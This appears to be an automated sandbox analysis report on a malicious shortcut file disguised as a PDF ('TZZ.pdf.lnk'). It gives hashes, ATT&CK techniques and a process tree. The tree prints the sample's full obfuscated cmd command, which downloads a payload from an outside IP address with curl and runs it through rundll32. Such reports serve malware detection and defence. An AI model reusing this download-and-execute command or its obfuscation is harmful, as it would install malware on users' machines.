2ae853f0b83d3dffeaf192cb3e64209ad52bbfd5f0c41f85f1e1cea7217e3dc4

Resubmissions

07-05-2024 12:38

240507-pvdkrsga4z 10

16-10-2023 16:11

231016-tmwtlaab41 7

Analysis

max time kernel
136s
max time network
104s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
07-05-2024 12:38

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General

Target

Birdman/TZZ.pdf.lnk
Size

1KB
MD5

54801c419cd1468e340604dd320223d8
SHA1

413c08277d29c965fb667a83af76d453004a15ed
SHA256

d57082ddb6cffaa1b6ad658bba6d79f958a7ea8afbd1f4e1ddfdddb4a7145961
SHA512

55a2e1d83e094c8b527ef782da54daa7863f4f17dc9213b1192359d550cbb6f7dd5cc24412ba3a72a7d405df9c2c58ba4d1f64cc640775bb82777840d0b8e6b7

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
3612	PING.EXE
2948	PING.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 4344	4904	cmd.exe	85
PID 4904 wrote to memory of 4344	4904	cmd.exe	85
PID 4344 wrote to memory of 3612	4344	cmd.exe	86
PID 4344 wrote to memory of 3612	4344	cmd.exe	86
PID 4344 wrote to memory of 4088	4344	cmd.exe	91
PID 4344 wrote to memory of 4088	4344	cmd.exe	91
PID 4344 wrote to memory of 2948	4344	cmd.exe	99
PID 4344 wrote to memory of 2948	4344	cmd.exe	99
PID 4344 wrote to memory of 3736	4344	cmd.exe	100
PID 4344 wrote to memory of 3736	4344	cmd.exe	100

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\system32\PING.EXE
    p"iN"G UL
    3⤵
    - Runs ping.exe
    PID:3612
- - C:\Windows\system32\curl.exe
    C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log
    3⤵
    PID:4088
- - C:\Windows\system32\PING.EXE
    p"iN"G -n 3 UL
    3⤵
    - Runs ping.exe
    PID:2948
- - C:\Windows\system32\rundll32.exe
    RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var
    3⤵
    PID:3736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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